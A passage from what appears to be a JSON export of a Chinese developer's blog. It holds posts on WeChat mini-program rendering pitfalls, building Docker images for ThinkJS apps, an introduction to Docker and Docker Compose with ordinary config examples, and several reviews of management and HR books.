来触发下拉的事件。内部则是使用了 translate 操作来展开下拉卡片。一顿操作之后觉得甚是完美，但是之后突然发现官方提示：\n请勿在 scroll-view 中使用 textarea、map、canvas、video 组件\n因为这几个组件都是使用 Native 实现的，只能是固定在屏幕上的存在，所以没办法在 scroll-view 中使用。因为之后可能会在里面加入视频的数据，所以对这个组件就有点望而却步。同时使用了这个组件之后，外部的其它组件想要修改 scrllTop 的话会变得很麻烦，都需要自维护一套事件，增加了业务的复杂度。\n最终我退回成普通的 view 监听 touchstart, touchmove 和 touchend 事件，根据移动的距离来判断下拉百分比来实现这个功能。最终的实现可以说是异常艰辛的。不过这个实现完了之后，又出现了一个问题。在 iOS 中会存在阻尼效果，也就是下拉的时候滚动条会有一个回弹的特效，导致你虽然下拉了但是 touch 事件并没办法有效的执行。目前这个问题还没有比较好的解决办法，这里也有用户提出了需要提供禁止页面阻尼效果的参数，不过目前还没有官方回应。\n除了阻尼问题之外，还有一个问题是 wx.pageScrollTo() 方法提供了 duration 参数，让滚动能够有动画效果。你可以在开发者工具中看到，实际上小程序的这个动画是使用 transform 属性来做的。正常情况来说这个是没有问题的，但是对于页面内存在 position: fixed 的元素来说，这个是有问题的。为什么这么说呢，大家可以看看 MDN 上 fixed 的描述：\nIt is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the CSS Transforms Spec), in which case that ancestor behaves as the containing block.\nvia: https://developer.mozilla.org/en-US/docs/Web/CSS/position\n文档上说 fixed 默认是相对于视口的，除非说父级元素设置了 transform, perspective 或者 filter 数值的值为非 none，那么就会相对于这个祖先元素。这样就造成了如果我最开始相对于窗口设置了一个元素 fixed 在右下角，当我 wx.pageScrollTo() 操作的时候本来相对于窗口的元素就会突然相对于 \u0026lt;page\u0026gt; 定位，当滚动结束之后因为 transform 属性已经消失，所以元素又会闪现回来。有做一个代码片段，大家感兴趣的也可以试试：wechatide://minicode/Q7zHi6m96eYV 。滚到底部之后点击下方的蓝色色块，会发现蓝色色块出现闪动，原因就是刚才描述的。解决办法就是去掉 wx.pageScrollTo() 的 duration 参数，或者是将滚动内容使用 \u0026lt;scroll-view\u0026gt; 包裹与 fixed 元素分离。\nCanvas 除了以上两个问题之外，还有一个就是 Canvas 画布的问题。这个 Canvas 画布最大的问题在于小程序内部是使用客户端组件实现的，但是在开发者工具中由于是网页预览所以这里的是 HTML 中的 \u0026lt;canvas\u0026gt;。虽然微信将 HTML 原生的 canvas 大部分接口都实现了，但是我要说\u0026hellip;还是有！很多！不！一！样！敲黑板，划重点！所以这就导致了开发者工具上看到的效果和客户端实际看到的效果有可能会完全不一样，给我们开发过程带来了无尽的阻挠！而且我这边不知道为什么，即使是同样身为客户端版本的调试版，预览版，线上版，这三者有时候表现出来的行为也可能造成不一样，我当时的内心真的是万马奔腾！\n由于是客户端渲染的画布，所以小程序的画布有以下几个比较明显的特点：\n小程序的画布是无限大的，使用 CSS 的宽高设置只是影响它的显示区域，并不会影像绘制。也就是说你发现元素绘制超出画布返回之后，只要设置画布的 CSS 宽高即可让超出区域显示出来。如果是 HTML 中的画布的话应该是没有这个效果的。这样就导致了我们没办法同时设置绘制区域和画布大小这两个概念。 小程序的画布因为是客户端渲染的，所以它永远是置顶的，z-index 属性是无效的。这个理解起来也非常简单，因为网页是使用客户端 WebView 组件加载的，画布又是另外一个客户端组件，两个客户端组件叠加只能是以层级的关系叠加，没办法做成嵌入式的。 小程序的 ctx.draw() 方法是异步的，而且默认是清屏重绘的。这个和原生的画布是有区别的，之前我没有注意清屏重绘的问题导致调试了很久。 小程序的 ctx.drawImage() 方法只能获取本地资源的图片。当你想要使用远程资源的时候必须先使用 wx.getImageInfo() 方法下载下来获取到路径之后才能使用 ctx.drawImage() 进行绘制。 另外还有一个问题在于，小程序的画布必须可视才能绘制成功，也就是说如果你给这个画布设置 display:none 然后等它绘制成功之后再显示出来是不可以的。目前我的解决办法是在页面用户不可视区域内先绘制然后再获取图片内容。\n后记 目前接触到的小程序的一些问题大概是这么多，有些可能在之后的版本中会解决（例如阻尼效果），而有些真的就是特性必须去适应（例如画布）。希望我总结的一些经验能帮助到大家。\n","count":2946,"date":"2018年05月26日","featuredImage":null,"permalink":"https://imnerd.org/some-about-wxapp.html","summary":"\u003cp\u003e小程序以免安装用完即走的特性自发布初就很火，即使是现在也是热度不减。小程序虽然是一个 HTML5，但是通过限制开发者的写法，提供一套自定义的组件以及写法，并且将一部分耗费性能的组件使用客户端渲染来极大的提高网页的性能。\u003c/p\u003e","time":6,"title":"微信小程序的那些事"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"本月被额外安排了一本鸿篇巨制阅读，拿到书的那一刻大家内心都崩溃了，七百多页的大砖头也就算了，问题是里面还居然还有英文的，真是让人亚历山大。没错，说的就是被誉为17本人力资源必读书之一，人力资源教科书级别的《人力资源管理》了。从这本书已经印到第14版就可以看出，是真的很火了！不过即使再好，也掩盖不住它真的很厚的本质啊\u0026hellip; 所以只能挑点比较有意思的地方来看看了。\n本书总共有5个篇章，其中中间三章“员工招募、配置与人才管理”，“培训与开发”，“薪酬管理”基本上就涉及到了一个员工从入职到离职的方方面面了。第一章则主要是人力资源的一些概念性的内容，最后一章则是人力资源在实际运用中需要注意的一些问题。从整理内容上来看可以说是很周到了。\n员工招募、配置与人才管理一章中我比较感兴趣的还是求职者面试一节。因为真的是非常好奇 HR 小姐姐们是如何面人的啊！技术面试其实还好，能通过技术和业务能力等比较实际和可固化的内容来评判面试者。而人力往往考察的是人的软素质能力，这些东西可以说是有点玄了。不过非常遗憾，似乎这一章节并没有讲到我比较感兴趣的点，而是从比较正式的方式总结了一下各种面试类型。不过对我来说也还是蛮受益的，因为我平常面试人感觉就是书中讲的结构化面试。结构化面试就比较简单，不需要去根据对方想一些特别的问题，通过一些固定的基础的问题来反应对方的能力。\n对于面试的问题书中也有讲述，很明显有一些问题是不适合在面试的时候提的，比如手写个需求之类的。书中指出我们需要尽量去问一些“情境性问题”、“行为性问题”以及“职位相关性问题”。情境性问题能够通过面试者的行为然后反推面试者的内心，行为性问题通过对方的结果来推测他未来的能力，职位相关性问题则能够通过一些简单的问题了解到面试者当前的基本素质。通过这些问题去了解面试者的现在未来和心理因素，我觉得是一个非常到位的面试了。\n薪酬管理这章我当然也是比较感兴趣的，毕竟和钱相关！书中为我们讲述了如何去制定一个组织的薪酬，如何去评估市场薪酬从而置顶公司薪酬，然后举了非常多的基于薪酬之外的金钱奖励，来刺激员工更加优秀，包括奖金，股票期权和道德伦理奖励等。\n总的来说这本书就是非常经典的教科书了，每章后面有案例可以看，而且还需要根据案例做一些练习题，是一本需要深入阅读的书。目前只是挑了一些小节大致看了看，之后还是需要找时间完整的阅读一遍的，相信对自己之后的面试和管理工作都会有一定的帮助。\n","count":1009,"date":"2018年05月24日","featuredImage":null,"permalink":"https://imnerd.org/sth-about-hr.html","summary":"\u003cp\u003e本月被额外安排了一本鸿篇巨制阅读，拿到书的那一刻大家内心都崩溃了，七百多页的大砖头也就算了，问题是里面还居然还有英文的，真是让人亚历山大。没错，说的就是被誉为17本人力资源必读书之一，人力资源教科书级别的《人力资源管理》了。从这本书已经印到第14版就可以看出，是真的很火了！不过即使再好，也掩盖不住它真的很厚的本质啊\u0026hellip; 所以只能挑点比较有意思的地方来看看了。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p3.ssl.qhimg.com/t01581cb30ea654d12a.gif\" alt=\"\"\u003e\u003c/p\u003e","time":3,"title":"HR 那些事"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"其实这个话题很简单，不是很想写这篇文章。不过的确还是有很多朋友在打包构建部署上存在一些问题，恰巧最近使用 Docker 部署了几个 ThinkJS 相关的项目，所以还是拿出来说说吧。需要提前说明的是本文并不是 Docker 的基础教程，默认大家都是了解 Docker 的。然后我会分享一下我觉得 ThinkJS 项目构建和部署过程中可能需要注意的点，我们先说说如何构建镜像，然后再说一下可能出现的问题。\n构建镜像 基础镜像 FROM mhart/alpine-node:8.9.4 首先推荐大家基于 mhart/alpine-node 的镜像来构建，因为真的很小（20M左右）！不过因为小有很多的构建工具都不是很全，如果遇上一些安装时需要编译的模块时可能会缺少环境，这个时候你可以选择手动去安装环境，当然也可以选择使用 Docker 官方的 library/node 镜像（800M左右），为了省事推荐这种情况下还是使用后者比较好。\n依赖安装 COPY package.json /animaris/package.json RUN npm i --production --registry=https://registry.npm.taobao.org 选好了基础镜像之后下面就需要拷贝项目文件了。这里推荐大家先把 packge.json 文件 COPY 进来然后安装依赖。因为依赖的变化比较小，可以认为一段时间内这部分的镜像层都是稳定的。而项目代码会随着需求变更而经常变化。综上所述，我们选择让不变的镜像层优先打包保证镜像层的最大可复用性。\n拷贝项目 一个正常的 ThinkJS 项目其实线上运行只需要以下几个文件：\napp/：项目原始码文件夹，如果是未编译项目的话对应的是 src/ 目录 view/：前端模板文件夹 www/：前端静态资源文件夹 production.js：ThinkJS 启动脚本 所以只要按照顺序把这些文件 COPY 进去就可以了。\n启动项目 大家平常都习惯使用 PM2 来启动 NodeJS 项目，它最大的好处就是能够帮我们守护项目进程，当进程被杀死的时候能帮我们自动重启。不过 Docker 本身就是有自动重启的特性的，所以在很多层面上 Docker 和 PM2 一块使用都有点冲突。其实因为 Docker 充当了守护的角色，我们完全可以直接使用 node production.js 命令去启动。以下是一个完整的 ThinkJS 项目 Dockerfile 示例：\nFROM mhart/alpine-node:8.9.4 WORKDIR /animaris COPY package.json /animaris/package.json RUN npm i --production --registry=https://registry.npm.taobao.org COPY src /animaris/src COPY view /animaris/view COPY www /animaris/www COPY production.js /animaris/production.js ENV DOCKER=true EXPOSE 8360 CMD [ \u0026#34;node\u0026#34;, \u0026#34;/animaris/production.js\u0026#34; ] 使用如下命令进行构建：\ndocker build -t lizheming/animaris ./Dockerfile 之后使用如下命令运行镜像，即可使用 http://localhost:8360 访问网站：\ndocker run -p 8360:8360 lizheming/animaris 注意事项 本地文件 使用 Docker 一定不能忘记的特性就是容器销毁后容器内的所有资源都是会被销毁的，下回会重新初始化，所以如果是需要持久化保存的应避免写到容器中，需要选择外部的持久化存储，例如 Volume 共享卷或者 S3 等相关服务。\nThinkJS 项目启动后一般会有 logs, runtime 两个目录会写入文件。其中 logs 是用来存储线上日志用的，这个最好使用共享卷的形式外载出来，方便之后排查问题。runtime 这个是 ThinkJS 运行时临时文件的存储地方，例如 cache 和 session 等。session 会话默认是使用文件类型存储的，如果使用 Docker 的话推荐选择 MySQL 等外部存储。其它的功能有相关需求也可以参考 session 服务。当然如果懒得用直接把 runtime 共享卷出来也是可以的。\n还有就是如果有用户上传类的需求会上传到本地文件夹上也要记得共享出来，否则丢数据就完蛋叻！\n静态资源 ThinkJS 一直主张在生产环境中使用 Nginx 来处理静态资源，这样不需要经过 Node 层直接 Server 转发性能会更高。不过这样就给镜像打包造成了一定的麻烦，因为静态资源也被打包到项目镜像里去了，而 Nginx 镜像正常是没办法跨镜像读取到文件的，所以就死解了。\n在 ThinkJS 中是利用 think-resource 这个中间件来处理静态资源的访问的，然后它在线上环境的状态是 enable: false。其实静态资源过一层 Node 并消耗不了多少资源，除非对性能有严苛要求的，我建议都可以直接把这个功能打开。这样所有的请求都统一成 Nginx 转发到 Node 镜像，解决了 Nginx 需要跨镜像读取文件的问题。具体可参考官方文档的“为什么上线后静态资源访问不了？”\nmodule.exports = [ ... { handle: \u0026#39;resource\u0026#39;, enable: true // 始终开启，默认为 `enable: isDev` 表示只再开发环境下开启 }, ... ] 当然如果真的要在打包成一个镜像的情况下用 Nginx 处理静态资源也不是没有办法，我们可以利用共享卷来操作。Node 镜像通过将镜像文件共享卷的形式映射到本地，然后 Nginx 镜像通过共享卷的形式将之前本地映射的文件再映射到镜像中。这样通过本地的一层转发即可实现 Nginx 的跨镜像访问静态资源。\n# ThinkJS 镜像 docker run \\ -v ./www:/app/www \\ -p 8360:8360 \\ lizheming/animaris # Nginx 镜像 docker run \\ -v ./nginx.conf:/etc/nginx/conf.d/animaris.conf \\ -v ./www:/var/www/animaris/www \\ -p 80:80 \\ nginx server { listen 80; server_name animaris.eming.li; root /var/www/animaris/www; location ~ /static/ { etag on; expires max; } } 环境变量 平常我们是使用 development.js 和 production.js 来区分开发环境和生产环境的，然鹅这么打包之后发现都是生产环境了。这样有时候我们需要不同环境不同配置就不太好弄了。这里推荐大家使用环境变量来区分。\nthink.env = process.ENV.ENV; docker run -e ENV=test -p 8360:8360 lizheming/animaris 终端日志 有用户提出疑问 #1106，说“网站500了为啥 logs 里没看到日志？”。这是因为虽然 ThinkJS 内部的日志都是用 think-logger 模块处理了，但是因为跨模块或者启动时机的问题，有一些日志没办法走日志模块记录并存储到文件，会直接打到终端里。所以当没有日志的时候我们可以考虑去 docker logs 中捞一下终端的日志，说不定有意外的惊喜。\n后记 虽然文字写了很多，除了一些普适问题需要考虑一下之外，其实整体来看整个构建过程还是很简单的。同时也欢迎大家有什么问题和疑问留言交流。\n","count":1912,"date":"2018年05月20日","featuredImage":null,"permalink":"https://imnerd.org/build-docker-image-for-thinkjs.html","summary":"\u003cp\u003e其实这个话题很简单，不是很想写这篇文章。不过的确还是有很多朋友在打包构建部署上存在一些问题，恰巧最近使用 Docker 部署了几个 ThinkJS 相关的项目，所以还是拿出来说说吧。需要提前说明的是本文并不是 Docker 的基础教程，默认大家都是了解 Docker 的。然后我会分享一下我觉得 ThinkJS 项目构建和部署过程中可能需要注意的点，我们先说说如何构建镜像，然后再说一下可能出现的问题。\u003c/p\u003e","time":4,"title":"ThinkJS 项目构建 Docker 镜像"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"最近抽了点时间读了下《第五项修炼》，随想着能把自己的一些感受写下来。事实上，因为时间原因，我并没有把这本书从头到尾的读一遍。不过虽然只读了一部分，但是这并不能掩盖本书的优秀。我想之后我都会随手翻翻这本书，当我对一些事情感到好奇或者想不明白的时候，说不定就会重新翻翻这本书，从书中找寻解决问题的灵感。\n屁股决定脑袋 书中第一部分给我们描述了一个很重要的结论，你对世界的看法影响你的行为，你的行为模式也影响你的行为。这个和最近大家常说的屁股决定脑袋是一个道理。所谓的屁股决定脑袋，简单的说就是一个人坐什么位置，往往决定了他思考的角度和范围。青蛙坐井观天，常在井中，真的以为天就只有井这么大。\n这里面可以引申出一些道理。首先就是屁股决定脑袋，反过来脑袋也会决定屁股。当你挣脱思想的加锁，走出一片新世界的时候，自然你会站到一个新的高度上去。说的更加直白一点就是说我们必须多纬思考，尽量少惯性思考。惯性思考出来的东西就是屁股决定的东西，只有多维度去思考我们才能取得新的成就。\n其次还能引申出来的就是和人打交道时最重要的就是换位思考。因为大家都是屁股决定脑袋的生物，如果你不站到对方的位置上去想，你是没办法完全体会到对方到底在想什么的。正如我们开发会关心代码优不优雅，功能有没有问题，而产品会关心产品的收益和利润等等。\n人是一块海绵 当然除了上部分，书中透入的最重要的思想其实是—“学习型组织”。学习型组织也是本书作者自己提出来的概念，它指通过培养弥漫于整个组织的学习气氛、充分发挥员工的创造性思维能力而建立起来的一种有机的、高度柔性的、扁平的、符合人性的、能持续发展的组织。这正是知识型组织的理想状态，是知识型组织的实践目标，这种组织具有持续学习的能力，具有高于个人绩效总和的综合绩效的效应。这不由得让我想起了大家常开的一句玩笑，“人生知识最丰富的时候就是在高中的时候了”。\n大家都常说活到老学到老，人的每个阶段都有他需要学习的东西，停止学习就相当于停滞了前进的脚步。而且学习能够激发大家的前进，相互学习能营造一种求知的渴望。最终学习会促进竞争，就和学校里大家会比较成绩排名一样。通过学习激发的竞争是一种正想的竞争优势，能让大家学习得更快更好。\n后记 本书虽然讲述的是组织的管理方式，但是我觉得对于大多数的个人也是适用的。挣脱自己思想上的束缚，不断的学习拓宽自己的视野，才有可能在未来中不断进取。书中自有黄金屋，书中自有颜如玉。而且本书也说了，经验得来的东西固然可靠，但是这种渠道的获取太漫长，而且也不系统。只有从书中学习才是一种性价比高的成功方式。\n","count":1061,"date":"2018年04月24日","featuredImage":null,"permalink":"https://imnerd.org/the-fifth-discipline.html","summary":"\u003cp\u003e最近抽了点时间读了下《第五项修炼》，随想着能把自己的一些感受写下来。事实上，因为时间原因，我并没有把这本书从头到尾的读一遍。不过虽然只读了一部分，但是这并不能掩盖本书的优秀。我想之后我都会随手翻翻这本书，当我对一些事情感到好奇或者想不明白的时候，说不定就会重新翻翻这本书，从书中找寻解决问题的灵感。\u003c/p\u003e\n\u003ch2 id=\"屁股决定脑袋\"\u003e屁股决定脑袋\u003c/h2\u003e\n\u003cp\u003e书中第一部分给我们描述了一个很重要的结论，你对世界的看法影响你的行为，你的行为模式也影响你的行为。这个和最近大家常说的屁股决定脑袋是一个道理。所谓的屁股决定脑袋，简单的说就是一个人坐什么位置，往往决定了他思考的角度和范围。青蛙坐井观天，常在井中，真的以为天就只有井这么大。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20180424/upload_4b1bae5579476073fc445eccffbeab0f.png\" alt=\"alt\"\u003e\u003c/p\u003e","time":3,"title":"读《第五项修炼》"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":"一般说来 SPA 的项目我们只要启一个静态文件 Server 就可以了，但是针对传统项目就不一样了，一个项目会依赖很多服务端程序。之前我们的开发模式是在一台开发机上部署开发环境，所有人都在这台开发机上使用 Samba 连接开发。老式开发是没什么问题的，但是前端因为引入了编译流程，增加了 Webpack 打包构建的行为，当多人共同开发的时候经常会因为内存爆满进程被杀导致打包失败。痛定思痛后为了解决这个问题，我决定将 Docker 引入我们的开发环境，通过将开发环境本地化来解决这个问题，所以有了本文。\n本文内容主要是我之前分享的文字版，若想看重点的话可以看之前的 Slide：\nWhy Docker? 普通的 Web 服务一般都会依赖很多程序，例如 PHP, MySQL, Redis, Node 等等。正常情况下我们会去手动安装这些程序来配置服务需要的环境，这样会带来几个问题：\n同一环境不同的服务依赖同一个软件的不同版本，经典的例如 python2 和 python3, 本地 Mac 上是 PHP7，但是服务只能支持 PHP5.6。 同一环境不同的服务可能会修改同一份文件，例如系统的配置，Nginx 的配置等，都会造成影响。 同一服务在多台机器上部署需要手工操作，导致大量的人力成本浪费。 这样逐个的安装软件实在是太麻烦了，所以大家就想干脆就直接把整个系统打包好放到机器上得了，于是就出现了虚拟机技术。这样做能保证系统环境的稳定以及重复的手工操作可以避免，但是也同样会带来一些问题：\n打包后的虚拟机文件包含系统镜像所以特别大。 打包后的虚拟机文件包含系统镜像所以服务需要等待系统启动成功之后才能启动。 打包过程无法实现自动化。 针对第三点，后来出现了 Vagrant 使用 vagrantfile 的形式将镜像构建脚本化从而实现自动化的功能，不过其它两点没有解决。所以后来就出来了系统之上的进程级别虚拟化技术 —— Docker。它为我们带来了以下几个优点：\n不需要打包系统进镜像所以体积非常小 不需要等待虚拟系统启动所以启动快速资源占用低 沙箱机制保证不同服务之间环境隔离 Dockerfile 镜像构建机制让镜像打包部署自动化 Docker hub 提供镜像平台方便共享镜像 以下是 VM 和 Docker 技术的具体区别，可以看到 VM 是打包了 Guest OS 进入镜像中的，而 Docker 是直接基于宿主系统虚拟化的实例。\nDocker 基础 Docker 支持 Windows/Linux/Mac/AWS/Azure 多种平台的安装，其中 Windows 需要 Win10+，Mac 需要 EI Captain+。Docker 是一个 C/S 架构的服务，安装好 docker 之后需要启动 docker 软件后才能使用 docker 命令。\nDocker 主要有 Dockerfile, Image, Container, Repository 四个基本概念。通过 Dockerfile 我们可以生成 Docker Image(镜像)。自己制作的镜像可以上传到 Docker hub 平台，也可以从平台上拉去我们需要的镜像。当镜像拉到本地之后，我们就可以实例化这个镜像形成一个 Container(实例) 了。一个简单的镜像启动的命令是：\n$ docker run [组织名称]/\u0026lt;镜像名称\u0026gt;:[镜像标签] 其中除了镜像名称，其它的都是可选参数。组织名称不填默认为 library，镜像标签不填则默认为 latest。例如经典的启动一个 Hello World 镜像的过程如下：\n可以看到当我实例化 hello-world 这个镜像的时候，docker 发现本地没有这个镜像会先去 Docker hub 远端拉取镜像，如刚才说的，默认是 latest 标签。拉取后就会实例化执行入口命令了。我们除了可以使用 Docker hub 查找我们需要的镜像之外，也可以使用 docker search命令来查找。16年的一篇文章显示，Docker hub 上的镜像包总量已经超过40万了，并且以每周4-5k的速度增长着。\n下面我们就来看看如何运行一个 Nginx 容器实例：\n$ docker run \\ -d \\ --rm \\ -p 8080:80 \\ -v \u0026#34;$PWD/workspace\u0026#34;:/var/www/hello.world \\ -v \u0026#34;$PWD/hello.world.conf\u0026#34;:/etc/nginx/conf.d/hello.world.conf \\ nginx 使用 docker run 命令就能启动一个实例了，其中 -p 表示将本机的 8080 端口映射到镜像实例内的 80 端口，而 -v 表示将本地的 $PWD/workspace 文件夹映射到镜像实例里的 /var/www/hello.world 文件夹，后面的同理。最后再指定一下镜像名称，就能完成一次 Nginx 实例的启动了。此时访问 http://hello.world:8080 即可看到效果。\n**注：**千万不要在容器实例中存储内容，实例销毁时实例内的所有内容都会被销毁,下次启动的时候又是全新的实例，内容不会保存下来。如果需要存储服务需要使用挂载卷或者外部存储服务。\nDockerfile Dockerfile 是 Docker 比较重要的概念。它是 Docker 创建镜像的核心，它的出现给 Docker 提供了两大好处：\n文本化的镜像生成操作让其方便版本管理和自动化部署 每条命令对应镜像的一层，细化操作后保证其可增量更新，复用镜像块，减小镜像体积 Dockerfile 的一些编写规则主要如下：\n使用#来注释 FROM 指令告诉 Docker 使用哪个镜像作为基础 RUN 开头的指令会在创建中运行，比如安装一个软件包 COPY 指令将文件复制进镜像中 WORKDIR 指定工作目录 CMD/ENTRYPOINT 容器启动执行命令 RUN 和 CMD/ENTRYPOINT 都是执行命令，区别在于 RUN 是在镜像构建过程中执行的，而 CMD/ENTRYPOINT 是在镜像生成实例的时候执行的，类似于 C/C++ 语言的头文件的正常代码的区别。而且后者在一个 Dockerfile 文件中只能有一个存在。CMD/ENTRYPOINT 的区别除了在写法上有区别之外，还有在 docker run 命令后增加 CMD 参数的情况下有区别（CMD会被复写）。一般建议使用 ENTRYPOINT 会更方便点。一个简单的 Node 命令行脚本的 Dockerfile 文件如下：\nFROM mhart/alpine-node:8.9.3 LABEL maintainer=\u0026#34;lizheming \u0026lt;i@imnerd.org\u0026gt;\u0026#34; \\ org.label-schema.name=\u0026#34;Drone Wechat Notification\u0026#34; \\ org.label-schema.vendor=\u0026#34;lizheming\u0026#34; \\ org.label-schema.schema-version=\u0026#34;1.1.0\u0026#34; WORKDIR /wechat COPY package.json /wechat/package.json RUN npm install --production --registry=https://registry.npm.taobao.org COPY index.js /wechat/index.js ENTRYPOINT [ \u0026#34;node\u0026#34;, \u0026#34;/wechat/index.js\u0026#34; ] 这里我认为依赖是比较固定的，没有代码修改那么频繁，所以将其提前了。最终保证了所以越稳定的变化的命令至于上层，保证了每层打包出来的 Layer 能够尽可能的复用，而不会徒增镜像的大小。最后我们使用如下命令就可以完成一个 Docker 镜像的构建了：\n$ docker build lizheming/drone-wechat:latest 参数和 docker run 是一样的。构建完成之后就可以开心的 push 到 Docker hub 上啦~\nDocker Compose 以上我们说了下如何启动一个服务，但是我们都明白一个完整的项目肯定是不止依赖一个服务的，而 Docker 镜像的 ENTRYPOINT 只能设置一个，所以难道我们要使用 docker run 命令手动创建 N 个容器实例吗？为了解决这个问题，Docker Compose 就瞬时出现了。Docker Compose 是一款容器编排程序，使用 YAML 配置的形式将你需要启动的容器管理起来，免去我们需要多次执行 docker run 命令的烦恼。\nDocker Compose 是使用 Python 开发的，它的安装非常的简单，直接 pip install docker-compose 就好了。安装完成之后分别使用 up 和 stop 命令可以启动和停止服务。一个简单的 docker-compose.yaml 配置文件大概如下：\nversion: \u0026#34;2\u0026#34; services: nginx: depends_on: - \u0026#34;php\u0026#34; image: \u0026#34;nginx:latest\u0026#34; volumes: - \u0026#34;$PWD/src/docker/conf:/etc/nginx/conf.d\u0026#34; - \u0026#34;$PWD:/home/q/system/m_look_360_cn\u0026#34; ports: - \u0026#34;8082:80\u0026#34; container_name: \u0026#34;m.look.360.cn-nginx\u0026#34; php: image: \u0026#34;lizheming/php-fpm-yaf\u0026#34; volumes: - \u0026#34;$PWD:/home/q/system/m_look_360_cn\u0026#34; container_name: \u0026#34;m.look.360.cn-php\u0026#34; Docker Compose 的另外一个好处就是能够帮我们处理容器的依赖关系，在每个容器中会将容器的 IP 和服务的名称使用 hosts 的方式绑定，这样我们就能在容器中直接使用服务名称来接入对应的容器了。例如下面这个 Nginx 配置中的 php:9000 就是利用了这个原理。\nserver { listen\t80; server_name dev.m.look.360.cn; charset utf-8; root /home/q/system/m_look_360_cn/public; index index.html index.htm index.php; error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # location ~ \\.php$ { fastcgi_pass php:9000; #fastcgi_pass unix:/tmp/fcgi.sock; fastcgi_index index.php; } Docker 相关 基于 Docker 容器虚拟化技术除了以上说的解决部署环境之外，还有一些其它的优点，例如：\n基于 Docker 的 CI 持续集成和 CD 持续支付 基于 Kubernetes, Docker Swarm 的集群弹性扩容和缩容 CI/CD 对于现在的敏捷开发是非常重要的，自动化任务帮助我们节省很多不必要的开发时间浪费，具体可查看我之间的文章《基于Docker的CI工具》。而 k8s 和 Docker Swarm 带来的弹性扩容和缩容让业务不在为流量问题而头疼。通过监控报警设置当出现峰值的时候自动扩容抗压，当出现低谷的时候自动去除多余的容器来节省成本，同时也将多余的资源给其它服务使用。\n学习资料 什么是 Docker ？\nDocker 从入门到实践\nDocker compose 详解\n深入浅出Docker\n","count":2758,"date":"2018年04月09日","featuredImage":null,"permalink":"https://imnerd.org/docker-in-action.html","summary":"\u003cp\u003e一般说来 SPA 的项目我们只要启一个静态文件 Server 就可以了，但是针对传统项目就不一样了，一个项目会依赖很多服务端程序。之前我们的开发模式是在一台开发机上部署开发环境，所有人都在这台开发机上使用 Samba 连接开发。老式开发是没什么问题的，但是前端因为引入了编译流程，增加了 Webpack 打包构建的行为，当多人共同开发的时候经常会因为内存爆满进程被杀导致打包失败。痛定思痛后为了解决这个问题，我决定将 Docker 引入我们的开发环境，通过将开发环境本地化来解决这个问题，所以有了本文。\u003c/p\u003e","time":6,"title":"Docker 从入门到实践"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"老实说，在上过管理课，看过前几本管理学相关的书之后再回过头来看这本书，发现这本书讲的东西大部分其实还是之前的那些。所以其实管理要掌握的知识就是这些，区别在于大家是否掌握了。\n开篇给我们介绍了什么是管理，如何才是有效的管理者，让我想起了上一本书《卓有成效的管理者》上看到的内容了。“管理是通过别人活着和别人一起使活动完成得更有效的过程。”\n发现才干 充分发挥对方的长处，而不要过分关注对方的缺点。这个道理之前也看到过，不过书里面倒是讲的更详细了一点。虽然说是这么说，但是做起来却又是比较难，特别对我自己来说。我经常会以自己的标准去要求别人，导致有时候对方在我眼中看起来总是不是非常满意。甚至看到别人的缺点总是想纠正，殊不知这正是犯了管理的大忌。这可能和个人的性格有关，还是需要后期慢慢的可以培养。\n另外我还记得我们领导和我说过的一句话：“人无完人，不要以己之长比他人之短，对方可能在其它你不擅长的方面比你出色的多”。\n沟通辅导 沟通辅导其实和之前上课说到的反馈与辅导比较像。之前的《一分钟经理人》里也有说“一分钟赞赏”和“一分钟更正”，道理上是差不多的。当然本书从更多方面讲述了沟通的一些重要性。加强团队沟通让大家都彼此知道自己的想法，对于项目的推进是有这巨大的帮助的。但是要做到这个也是非常难的，主要在于负面反馈的沟通。所以本书也着重讲了一些“很严厉但又不让下属方案的沟通方法”。包括言传身教，就事论事，弄清事实，以理服人等等。\n激励培养 培养对企业来说是进行人才储备的重要方案。之前看的书中有一句话印象比较深，它说“人才是流动的”，仔细想来确实是这样的。虽然可以从外部市场引进人才，但是成本也不低，保证内部的人才培养也是必须的。\n我个人觉得培养除了内部的培训之外，激励员工自我成长也是非常重要的。但是人都是惰性的，能够自己驱动自己去成长的人毕竟是少之又少，所以还是需要一些手段。例如我们会经常组织大家进行分享，本意是通过分享丰富自己的知识，锻炼大家的演讲水平。\n后记 本书的大部分内容在其它的一些图书中都有分散，摸着粗糙的纸张，看着看着总是能回想起之前看过的书或上过的课。管理的一些道理看似很简单，但其实真要实践起来还是非常难，需要我们在工作生活中多多领悟。\n","count":919,"date":"2018年03月25日","featuredImage":null,"permalink":"https://imnerd.org/common-sense-managment.html","summary":"\u003cp\u003e老实说，在上过管理课，看过前几本管理学相关的书之后再回过头来看这本书，发现这本书讲的东西大部分其实还是之前的那些。所以其实管理要掌握的知识就是这些，区别在于大家是否掌握了。\u003c/p\u003e\n\u003cp\u003e开篇给我们介绍了什么是管理，如何才是有效的管理者，让我想起了上一本书《卓有成效的管理者》上看到的内容了。“管理是通过别人活着和别人一起使活动完成得更有效的过程。”\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20180325/upload_1a57337a1bcb1e378af6b36880bad2d7.png\" alt=\"alt\"\u003e\u003c/p\u003e","time":2,"title":"读《管理的常识》"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"零零散散花了半个多月的时间把《卓有成效的管理者》读完，全书一直都在围绕着卓有成效四个字进行阐述。六位大师做序，二十多种语言译本足以证明德鲁克先生以及本书的成功。先生先为我们讲述了卓有成效是否可行，然后为我们列举了一系列卓有成效的方法。其中以下几个观点对我的感触非常大。\n规划时间，要事优先 时间作为不可再生资源对所有人来说都是宝贵的，当然对管理者尤为甚之。去年困扰我自己的最大的问题就是时间不够用，导致很多想法停留在计划层，没办法付诸实践。然而时间不够用往往有两种情况：\n要做的事情太多，时间不够用。 时间被浪费在其它事情上了，导致真正想做的事情没有做。 